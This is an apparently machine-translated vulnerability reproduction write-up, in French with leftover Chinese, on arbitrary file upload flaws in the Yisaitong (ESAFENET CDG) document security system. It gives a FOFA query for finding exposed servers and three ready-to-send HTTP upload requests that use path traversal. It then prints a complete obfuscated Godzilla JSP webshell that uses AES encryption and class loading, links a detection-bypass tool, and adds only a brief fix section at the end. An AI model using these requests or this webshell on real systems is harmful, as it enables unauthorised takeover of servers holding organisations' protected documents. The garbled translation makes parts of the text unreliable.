0x01 Présentation du produit
Le système de gestion de la sécurité des documents électroniques Yisaitong (abréviation : CDG) est un logiciel de cryptage de sécurité des documents électroniques. Ce système utilise la technologie de cryptage transparent de la couche pilote pour protéger le document électronique en le cryptant afin d'empêcher les employés internes de divulguer des secrets et le personnel externe de voler illégalement le noyau de l'entreprise. Actifs de données importants, protection du cycle de vie complet des documents électroniques, le système dispose de plusieurs méthodes de cryptage telles que le cryptage transparent, le cryptage actif, le cryptage intelligent, etc. en tant que départements principaux et départements ordinaires). La protection par cryptage des documents à différents gradients réalise la combinaison organique de la technologie, de la gestion et de l'audit, construit un système global tridimensionnel de prévention des fuites d'informations en interne, équilibre les coûts, l'efficacité et la sécurité et réalise la sécurité des données des documents électroniques. .
0x02 Aperçu de la vulnérabilité
Il existe des vulnérabilités de téléchargement de fichiers arbitraires dans UploadFileFromClientServiceForClient, /CDGServer3/DecryptApplicationService2, /CDGServer3/fileType/importFileType.do et d'autres interfaces du système de gestion de la sécurité des documents électroniques Yisaitong. Des attaquants non autorisés peuvent télécharger des fichiers de porte dérobée malveillants via cette vulnérabilité pour accéder à l'autorisation du serveur. .
Plage d'influence 0x03
Impact mondial (10 000 niveaux)
0x04 Environnement de récurrence
FOFA : app="Yisaitong-Système de gestion électronique de la sécurité des documents"
0x05 Réapparition de la vulnérabilité
PoC-1
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
文件内容
pratique:
PS : Après le téléchargement, vous pouvez accéder à tttT.jsp dans le répertoire racine
PoC-2
POST /CDGServer3/DecryptApplicationService2?fileId=../../../Program+Files+(x86)/ESAFENET/CDocGuard+Server/tomcat64/webapps/CDGServer3/a.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
文件内容
pratique:
vérifier l'URL
https://your-ip/CDGServer3/a.jsp
PoC-3
POST /CDGServer3/fileType/importFileType.do?flag=syn_user_policy HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Encoding: gzip, deflate
Accept: */*
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Connection: close
Content-Length: 212
Content-Type: multipart/form-data; boundary=a6c1544109e610dc4bddfc7583725f9c
--a6c1544109e610dc4bddfc7583725f9c
Content-Disposition: form-data; name="fileshare"; filename="/..\\..\\..\\..\\webapps\\ROOT\\a.jsp"
文件内容
--a6c1544109e610dc4bddfc7583725f9c--
pratique:
Accès direct à la vérification du répertoire racine
exploiter
Générer un cheval gratuit Godzilla
Adresse de l'outil : https://github.com/Tas9er/ByPassGodzilla
essayez de télécharger
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
<%! String govsb_NQ = "c1976fc471d32d0b";
String govsb_rRDYrq62F = "Tas9er";
class govsb_yYcq09pP504Xb extends /*edusb_Yd*/ClassLoader {
public govsb_yYcq09pP504Xb(ClassLoader govsb_vLM8) {
super/*edusb_QST55l*/(govsb_vLM8);
}
public Class govsb_qvs(byte[] govsb_pHH5nFhGBGJrs) {
return super./*edusb_9lA81*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_vZLmO*/(govsb_pHH5nFhGBGJrs, 1099931-1099931, govsb_pHH5nFhGBGJrs.length);
}
}
public byte[] govsb_VA(byte[] govsb_RDLs5gMnLdx7, boolean govsb_FJ1cLOh5) {
try {
j\u0061\u0076\u0061\u0078./*edusb_yyAR3cHFdavJGU*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_Bsa1 = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_ugUsn1*/("AES");
govsb_Bsa1.init(govsb_FJ1cLOh5?1099931/1099931:1099931/1099931+1099931/1099931,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_AD7*/SecretKeySpec/*edusb_qvGt5qn*/(govsb_NQ.getBytes(), "AES"));
return govsb_Bsa1.doFinal/*edusb_f5*/(govsb_RDLs5gMnLdx7);
} catch (Exception e) {
return null;
}
}
%><%
try {
byte[] govsb_tby6ZYM2tmeJCk = java.util.Base64./*edusb_Hr5K*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_Wty*/decode(request.getParameter(govsb_rRDYrq62F));
govsb_tby6ZYM2tmeJCk = govsb_VA(govsb_tby6ZYM2tmeJCk,false);
if (session.getAttribute/*edusb_7*/("payload") == null) {
session.setAttribute("payload", new govsb_yYcq09pP504Xb(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_RqwVLvZTZBVeCp3*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_V6FRLkLW*/.govsb_qvs(govsb_tby6ZYM2tmeJCk));
} else {
request.setAttribute("parameters", govsb_tby6ZYM2tmeJCk);
java.io.ByteArrayOutputStream govsb_3 = new java.io./*edusb_v9iBBl*/ByteArrayOutputStream();
Object govsb_YCJ = /*edusb_xLTC*/((Class) session.getAttribute("payload"))./*edusb_Invmf*//*edusb_8Q5Mk*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_lSK4DHyA*/;
govsb_YCJ.equals(govsb_3);
govsb_YCJ.equals(pageContext);
response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(1099931-1099931, 16));
govsb_YCJ.toString();
response.getWriter().write(java.util.Base64/*edusb_Qz*/.getEncoder()/*edusb_P9Bzr0TBcIv7y*/.encodeToString(govsb_VA(govsb_3.toByteArray(),true)));
response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(16));
}
} catch (Exception e) {
}
%>
essaie de te connecter
0x06 Suggestion de réparation
Le système dispose de nombreux points de téléchargement, il est recommandé d'ajouter une authentification d'accès à l'interface concernée et de configurer le groupe de sécurité pour qu'il s'ouvre uniquement aux adresses de confiance.
De plus, le site officiel a publié une version de réparation de sécurité, veuillez mettre à niveau vers la dernière version sur le site officiel pour corriger cette vulnérabilité
https://www.esafenet.com/